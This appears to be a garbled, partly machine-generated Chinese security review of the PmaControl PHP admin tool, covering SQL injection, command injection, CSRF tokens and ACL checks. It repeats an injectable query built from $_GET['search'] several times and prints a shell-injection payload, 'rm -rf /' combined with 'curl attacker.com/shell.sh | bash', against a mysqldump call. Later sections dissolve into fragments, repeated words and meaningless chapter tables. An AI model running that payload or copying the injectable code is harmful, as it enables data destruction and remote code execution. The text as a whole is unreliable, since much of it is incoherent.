


```
// 数据库
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

```
mysql_query("INSERT INTO SQLFILE LOAD_FILE()");
```

```
mysql_query("SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'");
```

控制器	URL	搜索参数
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

```
mysql_query("SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'");
```

```
mysql_query("SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'");
```

```
// 数据库
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// 模糊搜索
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

```
Glial 数据库
```

2. Shell

```
mysql_query("SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'");
```

```
mysql_query("SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'");
```

```
// BackupController 数据库
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

```
$host rm -rf / $(curl attacker.com/shell.sh | bash) PHP
```



```
// 配置
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

4 CSRF

概述

PmaControl 使用 CSRF 来防止跨站请求伪造攻击。PmaControl 使用

以下

1. PmaControl 使用
2. 使用
3. `POST /servers/delete/42`
4. PmaControl 使用 cookie 来

实现

POST CSRF

```
// 生成 CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// 渲染 CSRF token 输入框
<input type="hidden" name="csrf_token" value="<?=$_SESSION['csrf_token'] ?>">

// 验证 CSRF token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

5

ACL

ACL 在 Controller 中的使用

```
// 在 Controller A 中使用 ACL
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// 在 Controller B 中使用 ACL
public function deleteServer($id) {
    $this->ServerModel->delete($id); // 使用 ACL 检查
}
```

ACL

ACL 在 Middleware 中的使用

```
// ACL 在 Middleware 中的使用
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

ACL

ACL 1 - 在 Controller 中的使用

ACL	章节	页码
ACL 在 Controller 中的使用	3-5 章	111
ACL 在 Middleware 中的使用	1-2 章	111
ACL 在 View 中的使用	2-3 章	111
ACL 在 Model 中的使用	1-2 章	111

第 2 章 — 第 30 页

主题	章节	页码
SSH/加密	5-8	33
加密	1	33
API 加密	2-3	33

第 3 章 — 第 90 页

主题	章节	页码
ACL 加密	3-5	33
加密	5-8	33
CSP、HSTS、X-Frame-Options	1	33
加密	2-3	33

加密

- 加密 Query/Bootstrap — 加密
- 加密 TLS — 加密
- 加密 — 加密

加密

加密 PmaControl 加密

加密

P1 加密 P2 P3 加密 PmaControl 加密